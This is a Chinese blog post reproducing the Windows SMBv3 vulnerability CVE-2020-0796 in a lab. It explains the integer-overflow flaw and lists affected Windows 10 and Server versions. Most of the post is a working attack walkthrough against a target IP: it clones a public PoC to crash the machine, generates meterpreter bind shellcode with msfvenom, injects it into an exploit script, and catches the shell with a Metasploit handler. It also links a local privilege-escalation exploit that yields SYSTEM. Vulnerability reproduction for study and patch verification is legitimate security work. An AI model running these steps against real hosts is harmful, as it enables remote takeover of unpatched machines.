- 漏洞原理:
SMB远程代码执行漏洞
SMB 3.1.1协议中处理压缩消息时,对其中数据没有经过安全检查,直接使用会引发内存破坏漏洞,可能被攻击者利用远程执行任意代码。攻击者利用该漏洞无须权限即可实现远程代码执行,受黑客攻击的目标系统只需开机在线即可能被入侵。
Windows 10和Windows Server 2016引入了SMB 3.1.1 。本次漏洞源于SMBv3没有正确处理压缩的数据包,在解压数据包的时候使用客户端传过来的长度进行解压时,并没有检查长度是否合法,最终导致整数溢出。利用该漏洞,黑客可直接远程攻击SMB服务端远程执行任意恶意代码,亦可通过构建恶意SMB服务端诱导客户端连接从而大规模攻击客户端。影响范围:
Windows 10 Version 1903 for 32-bit Systems
Windows 10 Version 1903 for x64-based Systems
Windows 10 Version 1903 for ARM64-based Systems
Windows Server, Version 1903 (Server Core installation)
Windows 10 Version 1909 for 32-bit Systems
Windows 10 Version 1909 for x64-based Systems
Windows 10 Version 1909 for ARM64-based Systems
Windows Server, Version 1909 (Server Core installation) - 漏洞环境
win10靶机(迅雷下载ed2k://|file|cn_windows_10_consumer_editions_version_1909_x64_dvd_76365bf8.iso|5381154816|6A56DE112B164EC054D1104C53F8F10B|/)
漏洞检测工具
蓝屏poc
获得权限poc - 实验一(蓝屏攻击)先打快照
- 下载并解压漏洞检测工具(cmd运行,172.17.120.1-172.17.120.254),发现172.17.120.73存在漏洞
git clone https://github.com/eerykitty/CVE-2020-0796-PoC.git
python3 setup.py install 安装依赖脚本环境
python3 CVE-2020-0796.py 172.17.120.73 攻击
- 实验二(远程利用获得权限)
-
msfvenom -p windows/x64/meterpreter/bind_tcp lport=1234 -f py -o evil.py 生产shellcode
- 将evil.py 生成的code,替换到exploit.py的USER_PAYLOAD参数,并把参数buf改为USER_PAYLOAD。 把产生的shellcode放入脚本的位置
- python3 exploit.py -ip 172.17.120.73
- use exploit/multi/handler
set payload windows/x64/meterpreter/bind_tcp
set lport 1234
set rhost 172.17.120.73
run
获取不到就多试几遍4/5,获得权限后过段时间靶机可能会蓝屏
-
- 实验三(本地提权)
- https://github.com/danigargu/CVE-2020-0796
- 本地普通用户Bypass执行提权exp后弹出cmd窗口,成功获取system权限。
摘自
永恒之黑(CVE-2020-0796)漏洞复现
发布于 2022-02-23 2676 次阅读
Comments NOTHING